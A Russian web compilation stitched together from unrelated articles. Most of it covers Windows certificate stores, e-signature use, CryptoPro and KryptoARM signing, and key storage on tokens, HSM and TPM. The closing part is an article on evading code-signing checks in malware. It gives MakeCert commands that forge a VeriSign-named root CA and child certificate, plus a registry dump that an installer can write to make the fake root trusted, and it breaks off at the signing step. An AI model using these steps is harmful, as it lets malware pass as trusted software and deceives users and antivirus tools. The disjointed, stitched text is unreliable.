Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра

Почему иногда сертификат не проходит проверку подлинности на портале госуслуг?

При проверке сертификата на портале госуслуг проверяются его действительность и квалифицированность. Портал госуслуг в соответствии с Федеральным законом от 06.04.2021 № 63-ФЗ и с Приказом ФСБ РФ от 27.12.2021 № 795, проверяет все поля сертификата, их наполнение и соответствие данным правилам.

Если обнаружено какое-то нарушение, например, в сертификате нет СНИЛС, то портал госуслуг укажет на то, что данный сертификат не является квалифицированным. После «мониторинга» структуры портал анализирует, выдан ли сертификат аккредитованным УЦ. Для этого используется механизм кросс-сертификатов.

Обратите внимание на то, что Постановление Правительства РФ от 27.08.2021 № 996 расширило действие простой ЭП на портале госуслуг. Ранее ее использование ограничивалось выполнением лишь элементарных действий, например, просмотром личного кабинета.

Более серьезные операции требовали применения усиленной ЭП. Но, чтобы ее получить, нужно оплатить стоимость флеш-носителя, на котором она выдается в УЦ. Предполагается, что это нововведение позволит сократить расходы заявителей, связанные с выпуском физического носителя сертификата ключа ЭП.

Если резюмировать все описанное выше, можно отметить, что работа с усиленной ЭП имеет некоторый технологический порог вхождения. Для преодоления этого порога можно пользоваться готовыми программными решениями по автоматической настройке рабочего места и началу работы с усиленной ЭП, что существенно облегчает процесс.

4.3 Просмотр свойств подписи

В окне документа в панели Подписи щелкните по стрелке требуемой подписи и выберите команду Состав подписи. Можно также дважды щелкнуть мышью по строке подписи в тексте документа.

Свойства подписи буду отображены в соответствующем окне. Для просмотра сертификата, использовавшегося при создании подписи, нажмите кнопку Просмотр.

Подписанный документ, можно просматривать, печатать, выделять фрагменты и копировать их в буфер обмена.

Можно скопировать и строку подписи в другой документ, но эта строка подписи вставляется без цифровой подписи. Необходимо добавление подписи в строку подписи в новом документе.

При попытке сохранить подписанный документ под другим именем, появляется информационное окно:

Если нажать кнопку Да, все подписи в документе станут недействительными.

Документ, содержащий цифровые подписи, автоматически помечается как окончательный. При попытке снятия этой отметки появляется информационное окно.

Если нажать кнопку Да, то любое действие по редактированию документа приведёт к тому, что все подписи в документе станут недействительными.

Тогда в строках подписи появится текст Недействительная подпись. На вкладке Подписи данные подписи будут находиться в разделе Недействительные подписи.

Документ, содержащий недействительную подпись, можно подписать повторно.

Для этого на вкладке Подписи щелкните по стрелке недействительной подписи и выберите команду Подписать еще раз. Можно также щелкнуть правой кнопкой мыши по строке подписи в тексте документа и в контекстном меню выбрать команду Подписать еще раз.

Заново заполните окно Подписание и нажмите кнопку Подписать.

Аппаратные криптографические модули (hsm)

Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра

HSM — ещё одно аппаратное решение для хранения ключей, особенно если вы не хотите полагаться на отдельные токены либо это кажется слишком обременительным. В то время как токены больше ориентированы на ручной ввод или отдельные приложения (например, подписание небольшого количества документов или кода, аутентификация в VPN или других сетях)

Традиционно HSM — это локальные физические устройства, требующие квалифицированных ресурсов для управления и обеспечения базовых требований и SLA. Обслуживание HSM может оказаться дорогим и ресурсоёмким процессом, что в прошлом препятствовало распространению этой технологии.

Примером может служить знакомый многим сервис Key Vault в облаке Microsoft Azure, которое хранит криптографические ключи в облачном HSM от Microsoft. Если у вас небольшая организация, которая не позволит себе покупку и управление собственным HSM, то это отличное решение, которое интегрируется с публичными центрами сертификации, включая GlobalSign.

Если вы рассматриваете вариант с подписью документов, то недавно мы запустили новую службу Digital Signing Service, где тоже используется облачное хранилище HSM для закрытых ключей. Стоит отметить, что новая служба поддерживает индивидуальные подписи всех сотрудников.

В прошлом в большинстве HSM-решений для подписи поддерживались только идентификаторы на уровне отделов или организаций (например, бухгалтерия, маркетинг, финансы), а не отдельных людей (например, Джон Доу). Следовательно, для работы на уровне отдельных сотрудников организациям приходилось разворачивать инфруструктуру токенов, которая, как мы отметили выше, может оказаться обременительной.

Где хранится сертификат в ос windows

Установка или просмотр корневого или личного сертификата (ЛС) невозможна без знания места хранения подписи в ОС. Все версии Windows помещают ключи ЭЦП в так называемый контейнер, который раздел на часть для пользователя и ПК.

Поменять настройки хранения ключа можно через mmc оснастку, которая выводится комбинацией клавиш WIN R:

В корне консоли комбинацией клавиш CTRL M через Файл можно добавить или удалить оснастку:

В открывшемся окне пользователь выбирает поле доступных оснасток, затем «Сертификаты» и нажимает добавление:

Диспетчер позволяет добавить новую оснастку для персональной учетной записи, учетной записи ПК или службы. Если добавляется учетная запись ПК, то в ней есть дополнительные настройки:

Выбрать необходимо локальный ПК, после чего нажать «Готово». Откроется вот такое окно:

Созданную оснастку нужно сохранить через пункт меню «Файл». Для удобства работы местом сохранения выбирают рабочий стол:

В корневой консоли область сертификатов разделена на 2 части для пользователя и ПК. Область пользователя содержит несколько папок:

  • Личное;
  • Корневые доверительные и промежуточные сертификаты;
  • Пользовательские объекты AD;
  • Сертификаты, к которым не установлено доверие;
  • Доверенные лица и издатели и т.п.

Обычно изначально папка «Личное» не содержит сертификатов. Перенести один сертификат в папку можно через запрос или импорт:

Далее необходимо нажать в мастере импортирования «Далее». Нужный сертификат обычно имеет следующий формат:

  • PKCS # 12 (.PFX, .P12);
  • Стандарт Cryprograhic Message Syntax — сертификаты PKCS #7;
  • Хранилище сериализованных сертификатов.

Через вкладку доверенных сертификатов откроется большой список корневых, который необходим для нормальной работы на интернет-пространстве:

Состав любого из них можно посмотреть через двойной щелчок мыши, а из действий пользователю доступен экспорт для последующей переустановки на другой ПК. Экспорт возможен в разных распространенных форматах:

Полезной для пользователя будет и папка, содержащая недействительные и просроченные сертификаты. Поскольку их своевременное обновление и замена позволят избежать проблем с работой компьютера.

Доверенный платформенный модуль (tpm)

Модули TPM сами по себе не новы, но всё чаще их используют для защиты закрытых ключей. Доверенный платформенный модуль можно использовать для хранения (или переноса) корневого ключа и защиты дополнительных ключей, созданных приложением. Ключи приложений нельзя использовать без TPM, что делает его очень полезным методом аутентификации для оконечных точек, таких как ноутбуки, серверы и производители устройств Интернета вещей.

IoT создал проблему, когда много анонимно взаимодействующих устройств облегчают хакерам перехват сообщений или имперсонификацию устройств. Модуль TPM внедряется ещё на этапе производства для защиты криптографического ключа и, следовательно, для надёжной идентификации устройства.

При производстве генерируется пара из закрытого и открытого ключей. Открытый ключ отправляется в центр сертификации для подписания и выдачи цифрового сертификата. Закрытый ключ никогда не покидает устройство. Он хранится на чипе и не может быть экспортирован/скопирован/уничтожен. Теперь сертификат — это паспорт устройства, а защищённый закрытый ключ формирует аппаратный корень доверия.

Мы тесно сотрудничаем с Infineon для разработки решений Интернета вещей, сочетающих идентификацию устройств на основе PKI с корнями доверия на основе TPM. Для получения дополнительной информации ознакомьтесь с подтверждением концепции: «Безопасная аутентификация и управление оборудованием с помощью облачных служб сертификатов GlobalSign и OPTIGA TPM от Infineon.»

Как записать сертификат в личном кабинете

Если вы еще не выпустили сертификат ЭП и хотите сразу записать его на съемный носитель:

  1. Зайдите в личный кабинет на сайте удостоверяющего центра. Сервис попросит пройти аутентификацию: введите номер телефона, который указали в заявлении на получение ЭП. В течение двух минут на этот номер придет одноразовый пароль для входа. Этот пароль будет действовать только 5 минут, если вы не успеете ввести его за это время — запросите пароль еще раз.
  2. Затем вставьте в компьютер носитель, на который вы хотите записать сертификат ЭП — флешку или токен.
  3. В личном кабинете найдите нужный сертификат и нажмите на кнопку «Перейти к выпуску». Система автоматически проверит ваш компьютер и предупредит, если на него нужно установить дополнительные программы.
  4. Следуйте указаниям системы, чтобы выпустить сертификат.
  5. Если вы записываете ЭП на флешку, придумайте и установите на нее пароль в открывшемся окне.
    Если вы записываете ЭП на токен со стандартным паролем — пропустите этот пункт. Но если вы меняли стандартный пароль на собственный — введите его в открывшемся окне.
  6. После выпуска сертификат можно установить на носитель. Для этого нажмите на кнопку «Установить сертификат».

Если у вас есть сертификат для одного из сервисов Контура, например, Экстерна или Диадока, и вы хотите установить его на флешку или токен:

  1. Зайдите в личный кабинет на сайте удостоверяющего центра.
  2. Выберите сертификат электронной подписи, который хотите записать.
  3. Вставьте флешку или токен в компьютер. 
  4. Нажмите на кнопку «Сделать резервную копию».
  5. Выберите носитель, на который сервис запишет сертификат.
  6. Если вы копируете ЭП на флешку придумайте пароль и установите его в открывшемся окне. Этот пароль нужно вводить каждый раз, когда вы используете ЭП. Забытый пароль нельзя восстановить, однако мы не рекомендуем пропускать этот шаг — без пароля ваши данные останутся без защиты.
    Если вы устанавливаете ЭП на токен со стандартным паролем — пропустите этот шаг. А если вы задавали на токене собственный пароль — введите его в специальном окне.
  7. После ввода пароля система запишет сертификат ЭП на носитель.
Читайте также:  Электронная цифровая подпись - купить универсальный ключ (КЭП)

Как работать с эп в электронных документах

Порядок подписания будет отличаться в зависимости от типа электронного документа, с которым мы работаем. В целом можно выделить два вида документов:

1. Электронные документы специализированного формата, которые позволяют встроить ЭП внутрь самого документа (документы Microsoft Word, PDF).

Чтобы встроить ЭП внутрь файла, иногда нужны дополнительные настройки, но часто достаточно обычной версии программы. В случае с Microsoft Word многое зависит от версии продукта: в версии до 2007 года включительно ЭП в документе можно создавать без дополнительных надстроек, для более поздних версий понадобится  специальный плагин — КриптоПро Office Signature. Руководство по настройке ЭП для Microsoft Word/Excel можно найти на сайте УЦ СКБ Контур.

Для подписания PDF-файлов можно использовать программу Adobe Acrobat. При помощи данного функционала можно встраивать ЭП внутрь документа. Проверка созданной таким образом ЭП осуществляется также при помощи программ Adobe Reader и Adobe Acrobat.

2. Неформализованные электронные документы, не обладающие дополнительным инструментарием для встраивания ЭП.

Для электронного документа можно создать ЭП без встраивания в сам документ. Такая подпись будет называться отсоединенной и представлять собой отдельный электронный документ. Таким способом можно подписывать любые электронные документы, в том числе и в форматах Word и PDF.

Набор инструментов для реализации таких возможностей в целом не ограничивается каким-то одним решением. Существуют отдельные программы, которые устанавливаются на рабочее место и позволяют создавать и проверять ЭП, например, КриптоАРМ. Есть веб-решения, с помощью которых можно прямо в браузере создать ЭП, загрузив документ в форму на сайте, присоединив свой токен с закрытым ключом. На выходе вы получите отсоединенную ЭП. Такие возможности предоставляет сервис Контур.Крипто.

Каким требованиям должно соответствовать рабочее место, чтобы с него можно было работать с ЭП? С критериями можно ознакомиться по ссылке.

Как работать с эп внутри различных информационных систем

Информационные системы могут представлять собой веб-сервис или настольное приложение. Поскольку каждое настольное решение имеет свои особенности реализации и правила настройки для работы с ЭП, разбирать общие сценарии не имеет смысла. Остановимся на более унифицированных веб-решениях.

Чтобы получить возможность работать с ЭП в электронной облачной системе, нужно правильно настроить браузер. В данном случае потребуется установка плагинов, дополнительных настроек, которые помогают работать с ЭП. Например, на электронной торговой площадке «Сбербанк-АСТ» используется штатный плагин от Microsoft — Capicom. На портале госуслуг устанавливается свой плагин, работающий во всех браузерах и осуществляющий работу с ЭП.

Работа с ЭП на определенном веб-портале осуществляется при помощи интерфейса этого портала. Интерфейсы могут быть разные, но базовые сценарии сходны — это загрузка или создание документа и последующее его подписание ЭП. Веб-портал использует плагин, который совершает необходимые операции по созданию или проверке ЭП, и результат работы попадает на серверы информационной системы.

Чтобы начать работать на электронной торговой площадке, пользователю необходимо пройти аккредитацию и приложить копии требуемых документов, подписанных ЭП. В дальнейшем, участвуя в электронных торгах, все действия подтверждаются при помощи ЭП, и эта информация в юридически значимом виде сохраняется на серверах электронной торговой площадки.

Часто в процессе работы c веб-ориентированными информационными системами у пользователей возникают вопросы: почему мой сертификат не принимается системой? как проверить подлинность сертификата? Ответы на первый вопрос могут быть разными, но основных, как правило, три:

  1. Сертификат не подходит для работы в данной информационной системе.
  2. Недействительность сертификата (сертификат выпущен недоверенным УЦ, сертификат отозван, срок действия сертификата истек).
  3. Различные технические проблемы, которые могут зависеть как от площадки, так и от пользователя (например, неправильно настроено рабочее место).  

Копирование с помощью криптопро csp

Выберите «Пуск» > «Панель управления» > «КриптоПро CSP». Перейдите на вкладку «Сервис» и кликните по кнопке «Скопировать».

В окне «Копирование контейнера закрытого ключа» нажмите на кнопку «Обзор».

Выберите контейнер, который необходимо скопировать, и кликните по кнопке «Ок», затем «Далее». Если вы копируете с рутокена, то появится окно ввода, в котором следует указать pin-код. Если вы не меняли pin-код на носителе, стандартный pin-код — 12345678.

Придумайте и укажите вручную имя для нового контейнера. В названии контейнера допускается русская раскладка и пробелы. Затем кликните «Готово».

В окне «Вставьте чистый ключевой носитель» выберите носитель, на который будет помещен новый контейнер.

Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
На новый контейнер будет предложено установить пароль. Рекомендуем установить такой пароль, чтобы вам было легко его запомнить, но посторонние не могли его угадать или подобрать. Если вы не хотите устанавливать пароль, можно оставить поле пустым и нажать «ОК».

Не храните пароль/pin-код в местах, к которым имеют доступ посторонние. В случае утери пароля/pin-кода использование контейнера станет невозможным.

Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Если вы копируете контейнер на смарт-карту ruToken, сообщение будет звучать иначе. В окне ввода укажите pin-код. Если вы не меняли pin-код на носителе, стандартный pin-код — 12345678.

После копирования система вернется на вкладку «Сервис» КриптоПро CSP. Копирование завершено. Если вы планируете использовать для работы в Экстерне новый ключевой контейнер,  установите его через Крипто Про.

Криптографические токены и смарт-карты

Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра

Как вскользь упомянуто выше, можно повысить безопасность, если хранить секретный ключ на отдельном оборудовании. Но есть большая разница между использованием криптографических токенов или смарт-карт и стандартных флэш-накопителей. С криптографическим оборудованием ключ генерируется на самом оборудовании и не экспортируется. Закрытый ключ никогда не покидает устройство, что сильно затрудняет постороннему получение доступа и компрометацию.

Примечание: если вы хотите дополнительно обезопасить закрытый ключ, который уже сгенерирован ранее (т. е. не на самом токене), то можно импортировать .pfx-файл на токен, а затем удалить оригинальный .pfx.

С токеном каждый раз при использовании сертификата нужно вводить пароль. Это значит, что даже если кто-то получит ваш токен, ему всё равно понадобится пароль. Хранение ключа в токене означает, что вы можете безопасно использовать один и тот же сертификат на нескольких компьютерах без необходимости создания нескольких копий и прохождения процесса экспорта/импорта.

Конечно, есть некоторые другие соображения, которые следует иметь в виду, если вы решите выбрать такой вариант. Кроме дополнительных сложностей управления токенами, такой вариант может не работать с автоматическими сборками из-за требования ввести пароль при каждом использовании сертификата.

Также нет никакого способа создать резервную копию сертификата, поскольку закрытый ключ не экспортируется (недостаток дополнительной безопасности). Наконец, в некоторых сценариях такой вариант хранения просто невозможен. Например, если специализированные устройства не поддерживают токены или смарт-карты. Или в ситуациях, когда сотрудники не имеют физического доступа к компьютеру, а работают с удалённых терминалов.

О чем нужно помнить при хранении квалифицированной эцп

Один носитель — для одного сотрудникаЕсли записать ЭП разных сотрудников на один носитель, то нарушится конфиденциальность закрытых ключей.
И по закону все подписи будут считаться недействительными.

Нельзя передавать свою ЭП другому человекуЭлектронная подпись — это аналог собственноручной. Она служит идентификатором владельца. Если отдать ЭП другому
человеку, а он подпишет документ, с которым вы не согласны, то оспорить это решение не удастся.

Нельзя хранить ЭП в открытом доступеКвалифицированную электронную подпись нужно хранить в сейфе или другом защищенном месте. Носитель, который
просто лежит на столе, легко украсть, чтобы подписать пару «лишних» документов. А когда вы это заметите,
то даже в суде не сможете доказать свою непричастность.

При смене реквизитов меняйте и ЭПКомпания изменила свое название, владелец ЭП уволился или поменял должность? Меняйте подпись. Не затягивайте
с этим, чтобы не столкнуться с пачкой платежек, подписанных неизвестно кем, и не нарушать п. 1 ст.

2 Федерального
закона №63-ФЗ «Об электронной подписи», требующий обеспечить точную идентификацию владельца ЭП. Для замены
электронной подписи обратитесь к менеджеру, который ее выдавал. Или свяжитесь с удостоверяющим центром «Тензор»
удобным для вас способом.

Вовремя продлевайте ЭПЕсли не продлить электронную подпись, она станет недействительной. И вы не сможете подписать ни один электронный
документ, пока не получите новую ЭП в удостоверяющем центре. О том, как продлить электронную подпись, читайте
в нашей статье.

Защитите рабочее местоАнтивирусное ПО защищает вас от любых неприятных сюрпризов. Вирусы способны имитировать поведение владельца
подписи, чтобы подписать несколько нужных злоумышленнику документов. И доказать, что подпись ставили не вы,
будет тяжело.

Не храните пароли на бумажкахЭто правило — основа компьютерной безопасности. Оно относится не только к электронным подписям, но и ко всем
другим сферам. Пароль от токена, заботливо записанный на стикере возле компьютера, несказанно обрадует
злоумышленника.

Открыть файл с расширением sig

Теперь пойдем от обратной ситуации, вам прислали присоединенный файл SIG и вам надо его просмотреть и у вас естественно возникают вопросы:

  1. Как открыть файл sig
  2. Чем открыть файл sig
  3. Как посмотреть и прочитать файл sig

Если вы читали то, что я написал Выше, то у вас уже не возникнет вопрос чем открыть документы подписанные ЭПЦ формата sig, для этого мы используем нашу программу КриптоАРМ

Для примеры мы возьмем обратную ситуацию, наш файл который мы подписали Документ Microsoft Word.docx.sig откроем для просмотра.

  1. Запускаем программу КриптоАРМ  с рабочего стола или из меню Пуск -> Все программы
    просмотр sig файла
  2. открывается главное окно программы в котором заходим в пункт меню Файл (рис.1) и из выпадающего меню выбираем Просмотр документов (рис.2)
    программа КриптоАРМ
  3. в открывшемся окне выбираем документ который хотим открыть для просмотра
    открываем файл sig для просмотра
  4. После этого у нас происходит процесс открытия подписанного документа
    вскрытие документов сиг
  5. и после этого у нас открывается файл, я создавал текстовый документ формата doc в котором просто написал test
    ЭЦП sig

Если вы осилили мою статью от начала и до конца, то я уверен на все 100% у вас отпали все вопросы о том как подписывать и просматривать документы формата sig, но если появились какие то ошибки или другие вопросы, пишите мне на почту или в комментариях под статьей буду вам помогать!

Читайте также:  Электронная подпись и закон 63-ФЗ | Такском

ну и как полагается Видео )

Отсоединенная подпись эцп в формате sig

✅ самое главное отличие этого формата в том, что когда вы подписываете отсоединенной подписью у вас документ остается того же формата и размера, а вот после подписания с ним будет идти отдельный файл формата sig 🔑 который будет считаться самой подписью.
Отсоединенная подпись ЭЦП в формате sig

на рисунке видно документ Документ Microsoft Word.docx и рядом с ним идет документ Документ Microsoft Word.docx.sig который считается его подписью

Тоесть когда вы подписываете отсоединенной подписью человек на другой стороне может без специальных программ открыть ваш файл и его прочитать (если вы подписывали документ PDF 🔥 то его откроют стандартной программой Adobe PDF и могут смотреть и так же с документами word и другими ) но вот если вы внесете в исходный документ какие то данные, то второй файл который идет с ним (отсоединенный) в формате sig уже будет не актуальный.

Поэтому отсоединенная копия очень удобный вариант подписи для второй стороны.

Создать файл sig

Для создания подписанного файла сиг, после установки КриптоАРМ проделываем следующую операцию:

  1. кликните правой кнопкой мыши на вашем файле который нужно подписать (рис.1) далее из выпадающего меню выбираем КриптоАРМ (рис.2) и далее выбираем Подписать (рис.3)
    Создать файл SIG
  2. у нас открывается мастер создания ЭЦП и нам нужно только нажать Далее
     мастер создания ЭЦП
  3. далее в окне у нас будет список файлов на подписание в который можно добавить дополнительные файлы или убрать лишние
    программа для подписи SIG
  4. на следующим шаге выбираем  выходной формат файла с кодировкой и расширением (оставляем все по умолчанию и нажимаем Далее)
    создание подписи формата сиг
  5. На этом шаге у нас идет настройка параметров подписи тут мы указываем, что делаем (в нашем случае это Подписано) (рис.4) и самое важно в этих параметрах вы можем указать Присоединенная или Отсоединенная будет подпись (рис.5)
    параметры подписи SIG
  6. после того как мы выбрали параметры переходим к самому процессу подписания и нажимаем кнопку Выбрать
    подпись файла эцп
  7. из списка выбираем наш сертификат (я для примера создал тестовый сертификат ЭЦП ) в списке он у меня называется Test
    выбор сертификата для подписи ЭЦП
  8. Мастер подписи закончен и переходим к кульминации, нажимаем на кнопку готово
    создать один файл sig
  9. у нас запускается операция подписания и после появится окно с результатами подписи (рис.6) и видим в папке откуда мы запускали подпись документа, рядом с этим фалом появился файл с таким же названием и на конце у него добавился формат sig
    результат подписания ЭЦП
  10. Все!

НУ вот вы и научились создавать и подписывать документы в формате *.SIG

Файлы .pfx и .jks (хранилища ключей)

Файлы PKCS#12 (.pfx или .p12) и .jks* (созданные инструментом Java Keytool) содержат ваши закрытый и открытый ключи. В отличие от локальных хранилищ для ОС и браузеров, эти файлы могут размещаться практически в любом месте, включая удалённые серверы, и всегда защищены паролем (то есть каждый раз при использовании своего секретного ключа нужно ввести пароль).

Если решите сохранить файл на удалённом сервере, то следует особенно позаботиться об ограничении доступа к нему. Если кто-то получит доступ, то сможет использовать ваш сертификат. Аналогично, следует быть особенно осторожным с лёгким копированием и распространением этих файлов.

Хотя это и большое удобство для вас, но одновременно и злоумышленнику будет просто сделать копию, если он получит доступ к вашему хранилищу ключей. Пароль закрытого ключа по-прежнему необходим для эффективного использования скопированного файла. Это еще одна причина, чтобы использовать надёжные пароли из 15-ти и больше символов, содержащие заглавные буквы, цифры и специальные символы.

Если вы не можете использовать криптографическое оборудование или хранилище ключей Windows (описано выше), но всё же хотите повысить безопасность (вместо того, чтобы просто разместить файл хранилища ключей на компьютере), то можно записать этот файл на флэшку, которая будет лежать в безопасном месте.

Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах

image

Хабрапривет!

Ну вроде как удалось решить вопросы с кармой, но они ником образом не касаются сегодняшней темы, а лишь объясняют некоторое опоздание её выхода на свет (исходные планы были на ноябрь прошлого года).

Сегодня я предлагаю Вашему вниманию небольшой обзор по системе электронных подписей исполняемых файлов и способам обхода и фальсификации этой системы. Также будет рассмотрен в деталях один из весьма действенных способов обхода. Несмотря на то, что описываемой инфе уже несколько месяцев, знают о ней не все. Производители описываемых ниже продуктов были уведомлены об описываемом материале, так что решение этой проблемы, если они вообще считают это проблемой, на их ответственности. Потому как времени было предостаточно.

ТЕОРИЯ

Идея и технология электронной подписи для исполняемых файлов возникла ещё в эпоху Windows NT. C момента появления Windows Vista компания Microsoft начала активную компанию по продвижению этой технологии. По задумке производителя, подписанный код может идти только от доверенного автора этого кода, а следовательно гарантированно не наносит вреда системе и защищён от ошибок (три ха-ха).

Тем не менее, поскольку в механизме подписи чаще всего используется довольно сложный криптоустойчивый механизм, общее доверие к подписанному коду распространилось. Не ушли от этого и антивирусные вендоры. Верно: если код подписан, то он явно не может быть вирусом, а потому ему можно доверять априори, тем самым снизив вероятность ложных срабатываний. Поэтому в большинстве современных антивирусных продуктов по умолчанию стоит обход проверки подписанных файлов, что повышает скорость сканирования и снижает вероятность ложных срабатываний. Более того, зачастую подписанные программы автоматически заносятся в категорию «доверенных» поведенческих анализаторов ака хипсов.

Становится ясно, что подписав свои творения валидной подписью, вирусмейкер получает довольно богатую аудиторию клиентов, у которых даже с активным и регулярно обновляемым антивирусом произойдёт заражение. Очевидно, что это — весьма лакомый кусочек, что легко заметно на примере уже ставшего знаменитым вируса Stuxnet, где код был подписан валидными сертификатами Realtek (позже сообщалось и о подписях от JMicron).

Но у этого подхода есть и оборотная сторона: после выявления скомпрометированной подписи она немедленно отзывается, а по самому факту подписи АВ-вендоры ставят сигнатурный детект, понятно, что с 100%-ным срабатыванием. Учитывая то, что приобрести украденный сертификат, необходимый для подписывания крайне дорого, ясно, что вирусмейкеры заинтересованы в тотальном обходе механизма проверки подписи, без валидных private-ключей или с помощью самостоятельной генерации таких ключей. Это позволит обходить защиту не только антивирусных продуктов, но и устанавливать драйвера и ActiveX-компоненты без предупреждений, да и вообще как-то пробиться в мир х64, где без подписей ничего не установить вообще.

Но об этом — подробнее на практике.

ПРАКТИКА

Кто-то из великих сказал, что чтобы опередить врага, надо начать мыслить как он. Итак, если мы вирусмейкеры, то что мы можем сделать?

1. Скопировать информацию о сертификате с какого-нибудь чистого файла.

Это наиболее популярный способ на данный момент. Копируется информация подписи до мельчайших подробностей, вплоть до цепочки доверенных издателей. Понятно, что такая копия валидна только на взгляд пользователя. Однако то, что отображает ОС вполне может сбить с толку неискушённого и быть воспринято как очередной глюк — ещё бы, если все издатели правильные, то почему это подпись невалидна? Увы и ах — таких большинство.

2. Использовать самоподписанные сертификаты с фэйковым именем.

Аналогично выше описанному варианту за исключением того, что даже не копируется цепочка в пути сертификации.

3. Подделать MD5.

Несмотря на то, что слабость алгоритма MD5 уже давно описана (тут и тут), он до сих пор часто используется в электронных подписях. Однако реальные примеры взлома MD5 касаются или очень маленьких файлов, или приводят к неправильной работе кода. На практике не встречаются вирусы с поддельными взломанными подписями на алгоритме MD5, но тем не менее такой способ возможен теоретически.
4. Получить сертификат по обычной процедуре и использовать его в злонамеренных целях.

Читайте также:  Использование электронной подписи (ЭЦП) в 1С:Документооборот

Одна из наиболее распространённых методик авторов так называемых riskware, adware и фэйковых антивирусов. Примером может послужить фэйковый Perfect Defender (стандартный развод: «просканируйтесь бесплатно — у вас вирус — заплатите нам и мы его удалим») существует с подписями нескольких контор:
• Jeansovi llc
• Perfect Software llc
• Sovinsky llc
• Trambambon llc

Как это делается хорошо могут рассказать наши отечественные разработчики винлокеров, мелкими буквами пишущие про «программу-шутку» и т.д., таким образом оберегаясь от статьи о мошенничестве. Так и живём…

Интересно, что реально существуют абсолютно нормальные программы с такими именами владельцев:
• Verified Software
• Genuine Software Update Limited
• Browser plugin

Понятно, что если уж этому верить, то ошибиться при первом взгляде на сертификат несложно.

Следует также отметить, что отнюдь несложно получить подпись от сертификационных центров. Например RapidSSL для проверки использует просто e-mail. Если переписка ведётся из адресов типа admin, administrator, hostmaster, info, is, it, mis, postmaster, root, ssladmin,
ssladministrator, sslwebmaster, sysadmin или webmaster@somedomain.com — очевидно, что пишет владелец домена, верно? (ещё три ха-ха). А вот славная компания Digital River (DR), промышляющая аутсорсингом и электронной коммерцией, вообще предоставляет сертификаты всем своим клиентам. Немудрено, что MSNSpyMonitor, WinFixer, QuickKeyLogger, ErrorSafe, ESurveiller, SpyBuddy, TotalSpy, Spynomore, Spypal и вообще около 0,6% из всех подписанных DR файлов являются малварью, а потенциально нежелательными являются и того больше — более 5% всех подписанных DR файлов.

Справедливости ради отмечу, что подписать х64-драйвер далеко не так просто, в этом случае пока нарушений не замечено.

5. Найти какого-нибудь работника доверенной компании и попросить его подписать Ваш код.

Без комментариев. Все любят деньги. Вопрос только в сумме 🙂

6. Украсть сертификат.

На данный момент известно три больших семейства троянцев, «заточенных», в частности, под похищение сертификатов. Это:
• Adrenalin
• Ursnif
• Zeus
• SpyEye (возможно)

Тем не менее пока не замечено массовых случаев использования украденных сертификатов в новых версиях этих троянцев. Возможно, это козырь в рукаве? Время покажет…

7. Заразить систему разработки доверенного разработчика и внедрять злонамеренный код в релизы до подписания.

Яркий пример такого заражения — вирус-концепт Induc.a. Вирус внедряет код на этапе компиляции, заражая систему разработки. В итоге разработчик даже не знает, что в его программе появился невидимый «довесок». Релиз проходит подпись и выходит в свет с полноценным сертификатом. Видишь суслика? А он есть! 😉

К счастью, Induc.a является только PoC, выполняя только заражение систем разработки без реализации какого бы то ни было дополнительного вредоносного функционала.

Ну а теперь — обещанные вкусняшки.

УЯЗВИМОСТЬ ИЛИ КАК Я ПРОВЁЛ ЭТИМ ЛЕТОМ

Как видим, вариантов обхода подписи достаточно много. В нашем примере будет рассмотрен модифицированный вариант 1 и 2, описанные выше.

Итак, что нам потребуется?
— MakeCert.exe
— cert2spc.exe
— sign.exe
— ruki.sys
— mozg.dll

Думаю, что для хабрачитателя не составит труда найти эти компоненты, но для самых ленивых выкладываю первые три здесь. Последние два не выкладываю в виду жёсткой привязки к железу, полному отсутствию кроссплатформенности и специфичности кода 🙂

Итак, создадим какой-либо сертификат доверенного издателя. Попробуем максимально скопировать информацию о том же VeriSign:
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer

В результате выполнения мы получим veri.pvk и veri.cer, пригодные для подписывания.

Теперь создадим дочерний сертификат с использованием полученных только что:

MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer

В итоге получим kl.pvk и kl.cer, которые будут доверенными сертификатами от недоверенного издателя. Цепочку можно продолжать долго, задуривая наивного пользователя. Но итог будет один: сертификат не будет валидным, потому как в цепочке есть один недоверенный элемент. НО!

В Windows имеется возможность установки любого сертификата, в том числе и самоподписанного, в качестве доверенного. Это удобно: в ряде случаев разработчик может сделать себе самоподписанный сертификат, ввести его в доверенные и спокойно работать со своими приложениям. В нашем случае это удобно вдвойне, потому как такой внос — очевидно, простое внесение информации в реестр. при чём информации отнюдь не специфичной для конкретной системы.

Установим на нашу тестовую виртуалку любой монитор реестра, после чего внесём наш искомый сертификат от якобы VeriSign в доверенные. Отследим, где произошло изменение — и voila! Мы можем сделать дамп соответствующей ветки реестра, после чего засунуть её в инсталлер. В итого, наш инсталлер вносит в реестр инфу, автоматически превращая сертификат первичного издателя в доверенный и валидируя всю цепочку.

Чтобы окончательно не открывать все карты, скажу только, что в моём случае дамп реестра имел вид
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftSystemCertificatesAuthRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
«Blob»=hex:04,00,00,…..

ну или если только для текущего пользователя, то
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftSystemCertificatesRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
«Blob»=hex:04,00,00,…..

Внеся в реестр эти данные, программа с фэйковой цепочкой подписи автоматом проходила проверку по sigverif.exe. Ну а подписать наш код с помощью полученного сертификата вообще просто, достаточно батника:

cert2spc.exe kl.cer kl.spc
